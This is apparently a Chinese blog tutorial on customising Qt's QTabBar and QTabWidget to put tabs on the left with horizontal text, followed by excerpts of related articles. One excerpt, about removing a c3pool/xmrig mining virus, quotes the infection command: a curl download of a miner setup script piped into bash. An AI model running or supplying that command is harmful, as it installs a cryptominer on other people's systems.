【QT入门】Qt自定义控件与样式设计之自定义QTabWidget实现tab在左,文本水平的效果

往期回顾

【QT入门】Qt自定义控件与样式设计之控件提升与自定义控件-CSDN博客

【QT入门】Qt自定义控件与样式设计之鼠标相对、绝对位置、窗口位置、控件位置-CSDN博客
【QT入门】Qt自定义控件与样式设计之自定义QLineEdit实现搜索编辑框-CSDN博客
 

 【QT入门】Qt自定义控件与样式设计之自定义QTabWidget实现tab在左,文本水平的效果

正常情况下,做一个标题栏加widget是很简单的,但是tab是在widget上方的,而且只有当标题栏放上面里面的文本才是水平放置,把tab放左边时,里面的文本是竖直放置,这样做体验感是很差的,所以我们最终要实现tab在左,文本水平的效果。

一、最终效果

 二、具体实现

1、tabbar类

 tabbar类,继承自QTabBar,这个是最关键的,可以实现自定义标签栏的绘制和布局,通过重写tabSizeHint和paintEvent方法,实现标签的特定样式和布局效果。

class TabBar : public QTabBar
{
    Q_OBJECT
public:
    TabBar(QWidget *parent = nullptr);
    QSize tabSizeHint(int index) const override;

protected:
    void paintEvent(QPaintEvent *event) override;
};
 1.1重写tabSizeHint方法

重写tabSizeHint方法以返回标签大小,并对其进行转置和修改,因为正常情况下,标签栏放左边是竖直放置,我们需要把他转置成水平放置的


QSize TabBar::tabSizeHint(int index) const
{
    //调用基类QTabBar的tabSizeHint方法,并将返回的大小赋值给局部变量s。
    QSize s = QTabBar::tabSizeHint(index);
    //转置s的大小,交换了宽度和高度值
    s.transpose();

    // 注意在qss QTabBar::tab里不能设置tab的大小,否则自定义的TabBar无效
    // 设置每个tabBar中item的大小
    // 这个方法不是常用的那种,但是运行没问题
    s.rwidth() = 90;
    s.rheight() = 44;

    //常用的:
    // s.setWidth(90);
    // s.setHeight(44);
    return s;
}
   1.2使用QStylePainter和QStyleOptionTab 

使用QStylePainter和QStyleOptionTab来绘制每个标签的形状和标签文本,对标签的位置和旋转进行了调整,以实现标签的特定布局效果。(代码基本是可以实现复用的,除了大小可能需要修改,其他都没问题)


void TabBar::paintEvent(QPaintEvent *event)
{
    //创建一个QStylePainter对象painter,用于绘制此小部件的样式元素
    QStylePainter painter(this);
    //创建一个QStyleOptionTab对象opt,用于指定绘制选项
    QStyleOptionTab opt;

    //遍历所有选项卡
    for(int i = 0;i < count();i++)
    {
        //用索引i初始化opt对象的样式选项
        initStyleOption(&opt,i);
        //指示绘图器使用opt中指定的样式来绘制选项卡的形状
        painter.drawControl(QStyle::CE_TabBarTabShape, opt);
        //保存当前绘图器的状态
        painter.save();

        //从opt对象中获取选项卡的大小
        QSize s = opt.rect.size();
        //转置大小s
        s.transpose();
        //创建一个矩形r,其左上角在原点,大小为s
        QRect r(QPoint(), s);
        //将矩形r的中心移动到原始选项卡矩形的中心
        r.moveCenter(opt.rect.center());
        //将opt对象中的矩形更新为新位置
        opt.rect = r;

        //计算索引i处选项卡的中心点c
        QPoint c = tabRect(i).center();
        //将绘图器平移到中心点c
        painter.translate(c);
        //将绘图器旋转90度
        painter.rotate(90);
        //将绘图器平移到原始位置
        painter.translate(-c);
        //指示绘图器使用opt中指定的样式来绘制选项卡的标签
        painter.drawControl(QStyle::CE_TabBarTabLabel,opt);
        //将绘图器恢复到应用变换之前保存的状态
        painter.restore();
    }
}

2、tabWidget类

这个类主要是把tabber添加进来并实现qss样式设计。

2.1注意一个问题:

在QTabBar::tab里不能设置tab的大小,否则自定义的TabBar无效

因为QTabBar::tab样式表中通常只包含标签的颜色、边框等外观属性,而具体的大小通常由QTabWidget或其父类的布局管理器来控制。如果在QTabBar::tab中设置了标签的大小,可能会覆盖布局管理器设置的大小,导致布局混乱或无法正常显示。

所以一般情况下:都是在QTabWidget或其父类的样式表中设置标签的大小,而在QTabBar::tab中设置其他外观属性,以确保布局的正确性和一致性。

2.2代码实现:
{
    //将QTabWidget的标签栏替换为自定义的TabBar,实现对标签栏外观和行为的自定义
    setTabBar(new TabBar);
    //设置标签栏的位置为西侧
    //enum TabPosition { North, South, West, East };
    setTabPosition(QTabWidget::West);

    // 注意在QTabBar::tab里不能设置tab的大小,否则自定义的TabBar无效
    string qss = R"(
        QTabWidget::pane {
            border-top:1px solid #EAEAEA;
            position:absolute;
            top:-0.1px;
        }

        QTabBar::tab {
            font-size:18px;
            font-family:Microsoft YaHei;
            font-weight:400;
            background:#FFFFFF;
            border:2px solid #FFFFFF;
            border-bottom-color:#FFFFFF;
            border-top-left-radius:4px;
            border-top-right-radius:4px;
            padding:2px;
        }

        QTabBar::tab:selected {
            color:#333333;
            border-color:#FFFFFF;
            border-bottom-color:#4BA4F2;
        }

        QTabBar::tab:!selected {
            color:#B2B2B2;
            border-color:#FFFFFF;
            border-bottom-color:#FFFFFF;
        }
    )";

    this->setStyleSheet(QString::fromStdString(qss));
}

3、weidget类

这个就常规了,创建相应的widget,设置样式并和tabbar绑定,从而实现点击tabbar显示到对应的widget。

3.1insetTab()方法

注意用到的方法是insetTab  比如:

   tabWidget->insertTab(0, w1, u8"参数设置");

(1)0:表示要插入标签的索引位置。在这里,0表示将标签插入到标签栏的第一个位置,即最左侧。

(2)w1:表示要插入到标签中的QWidget指针,即将要在标签页中显示的内容。

(3)u8"参数设置":表示要显示在标签上的文本内容。这里使用了u8前缀表示使用UTF-8编码的字符串,用于支持Unicode字符集,确保能正确显示包含非ASCII字符的文本内容。

短短一行代码就实现了在tabWidget中插入一个新的标签页,将w1中的QWidget作为内容显示在标签页中,并在标签上显示文本"参数设置"。这样可以动态向tabWidget中添加新的标签页,使用户可以切换不同的内容页面。

3.2代码实现
Widget::Widget(QWidget *parent)
    : QWidget(parent)
    , ui(new Ui::Widget)
{
    ui->setupUi(this);

    TabWidget *tabWidget = new TabWidget(this);

    QWidget* w1 = new QWidget;
    //设置widget样式
    w1->setStyleSheet("background-color:rgb(54,54,54)");
    tabWidget->insertTab(0, w1, u8"参数设置");

    QWidget* w2 = new QWidget;
    w2->setStyleSheet("background-color:rgb(154,54,54)");
    tabWidget->insertTab(1, w2, u8"设备管理");

    QWidget* w3 = new QWidget;
    w3->setStyleSheet("background-color:rgb(154,54,154)");
    tabWidget->insertTab(2, w3, u8"设备管理");
    
    //创建布局并把tabwidget添加进去
    QHBoxLayout* hLay = new QHBoxLayout(this);
    hLay->addWidget(tabWidget);
}

以上就是自定义QTabWidget实现tab在左,文本水平的效果的基本示例。

都看到这里了,点个赞再走呗朋友~

加油吧,预祝大家变得更强!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/547557.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(一)基于IDEA的JAVA基础16(end)

二维数组 二维数组就是数组里面再放一个数组 语法: <数据类型> [] [] 数组名&#xff1b; 或: <数据类型> 数组名 [] []&#xff1b; 比如这里有5个单位&#xff0c;每个单位员工有20个&#xff0c;他们都在忙几个相同的项目&#xff0c;现在要对某项项目进行操…

html、css、QQ音乐移动端静态页面,资源免费分享,可作为参考,提供InsCode在线运行演示

CSDN将我上传的免费资源私自变成VIP专享资源&#xff0c;且作为作者的我不可修改为免费资源&#xff0c;不可删除&#xff0c;寻找客服无果&#xff0c;很愤怒&#xff0c;&#xff08;我发布免费资源就是希望大家能免费一起用、一起学习&#xff09;&#xff0c;接下来继续寻找…

Linux进阶篇:centos7搭建jdk环境

Linux服务搭建篇&#xff1a;centos7搭建jdk环境 本文主要介绍的是如何是Linux环境下安装JDK的&#xff0c;关于jdk的概念就不做赘述了&#xff0c;相信大家都有所耳闻了&#xff0c;Linux环境下&#xff0c;很多时候也离不开Java的&#xff0c;下面笔者就和大家一起分享如何jd…

【数据结构|C语言版】单链表应用

前言1. 基于单链表实现通讯录1.1 知识要求1.2 功能要求 2. 代码总结2.1 SeqList.h2.2 SeqList.c2.3 Contact.h2.4 Contact.c2.5 test.c 后言 上期回顾&#xff1a;【数据结构|C语言版】单链表 前言 各位小伙伴大家好&#xff01;上期小编讲解了单链表相关知识&#xff0c;在此…

SpringCloudAlibaba真的不行了吗?

Spring Cloud Alibaba 作为SpringCloudAlibaba微服务架构实战派上下册和RocketMQ消息中间件实战派上下册的作者胡弦&#xff0c;我想和技术人聊一下&#xff0c;阿里巴巴开源的SpringCloudAlibaba真的不行了吗&#xff1f; 目前SpringCloudAlibaba最新的版本为2023.0.0.0-RC1 …

蓝桥杯2024年第十五届省赛

E:宝石组合 根据给的公式化简后变为gcd(a,b,c)根据算数基本定理&#xff0c;推一下就可以了 然后我们对1到mx的树求约数&#xff0c;并记录约数的次数&#xff0c;我们选择一个最大的且次数大于等3的就是gcd int mx; vector<int> g[N]; vector<int> cnt[N]; int…

flutter material中的Icon组件的IconData 查阅

查阅 https://fonts.google.com/icons?selectedMaterialSymbolsOutlined:expand_less:FILL0;wght300;GRAD0;opsz24&icon.platformandroidhttps://fonts.google.com/icons?selectedMaterialSymbolsOutlined:expand_less:FILL0;wght300;GRAD0;opsz24&icon.platformand…

Java的maven项目导入本地jar包的三种方式

一、使用本地jar包 在项目中创建一个lib文件夹&#xff0c;将想要使用的本地jar包放进去 然后直接在pom.xml中添加下列依赖&#xff08;项目协作推荐&#xff09; <dependency><groupId>com.fpl</groupId><artifactId>spring</artifactId><…

Linux下SPI设备驱动实验:验证SPI节点及ICM20608设备子节点

一. 简介 前一篇文章在设备树文件中创建了SPI的 IO 的 pinctrl节点&#xff0c;SPI节点及ICM20608设备子节点&#xff0c;文章如下&#xff1a; Linux下SPI设备驱动实验&#xff1a;创建SPI节点及SPI设备子节点-CSDN博客 本文对设备树文件进行加载测试&#xff0c;确定SPI节…

leetcode199 二叉树的右视图

题目 给定一个二叉树的 根节点 root&#xff0c;想象自己站在它的右侧&#xff0c;按照从顶部到底部的顺序&#xff0c;返回从右侧所能看到的节点值。 示例 输入: [1,2,3,null,5,null,4] 输出: [1,3,4] 解析 这道题首先能想到的办法&#xff0c;就是使用迭代法层次遍历&…

部署项目的时候的一些错误

项目打jar包&#xff0c;找不到资源&#xff0c;连接不上数据库 项目打包后无法运行 直接在idea运行可以 解决方法&#xff1a;pom文件中增加&#xff08;配置文件如果是yml&#xff0c;写yml&#xff09; <resources><resource><directory>src/main/java&…

系统学c#:2、基础语法(关键字、标识符、数据类型、变量、常量、字面量、运算符、类型转换)

关键字&#xff1a; 关键字是编程语言中具有特殊含义的单词或符号&#xff0c;它们通常被编程语言用于表示特定的语法结构、操作或约定。在C#中&#xff0c;关键字具有特定的语法和功能&#xff0c;用于定义语言的基本结构和规则。 以下是一些C#中常用的关键字及其功能&#xf…

【计算机毕业设计】游戏售卖网站——后附源码

&#x1f389;**欢迎来到琛哥的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 琛哥&#xff0c;一名来自世界500强的资深程序猿&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 琛哥在深度学习任务中展现出卓越的能力&a…

MybatisPlus——自定义Sql

MybatisPlus——自定义Sql 自定义sql mybatisplus自定义sql并不是全部进行自定义的&#xff0c;我们可以利用MybatisPlus的Wrapper来构建复杂的Where条件&#xff0c;然后自己定义sql语句中剩下的部分。 自定义sql案例 以为例&#xff1a;将id在指定范围&#xff08;1&…

搜索树, 哈希表

目录 一. 搜索树 1.1 概念 1.2 操作1 查找 1.3 操作2 插入 1.4 操作3 删除 1.5 性能分析 1.6 和 java 类集的关系 二.哈希表 2.1 概念 2.2 哈希冲突 2.3常见哈希函数 2.4 负载因子 2.5 闭散列 2.6 开散列 2.7 哈希表的实现 push 添加数据 getVal() 获取key对应的v…

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

【学习笔记PPT摘录】lan.289.24.4-15

1.纪念品分组.双指针-01 #include <bits/stdc.h> using namespace std;int A[40000];// 纪念品价值均衡// 把购来的纪念品进行分组 之和不超过整数 w// 每组只能有两个纪念品 希望分组的数目要少// 贪心的策略就是 每个较大的数找到一个 最大的较小的数使其能够小于w// n…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

[docker] 核心知识 - 概念和运行

[docker] 核心知识 - 概念和运行 之前 docker 学了个开头就去搞项目去了&#xff0c;不过项目也开展了好久了&#xff0c;前端差不多吃透了&#xff0c;有些新功能需要用 docker 和 k8s……是时候重新学习一下了。 这一部分简单的过一下概念和讲一下怎么运行 docker 镜像和启…

[Linux][基础IO][二][缓冲区][理解文件系统]详细解读

目录 1.缓冲区0.缓冲区的刷新策略1.何为缓冲区&#xff1f;2.总结 2.理解文件系统0.文件元数据1.了解文件系统 --> 理解inode2.软硬链接 1.缓冲区 0.缓冲区的刷新策略 一般情况 立即刷新行刷新(行缓冲)满刷新(全缓冲) 特殊情况 用户强制刷新(fflush)进程退出 所有的设备&a…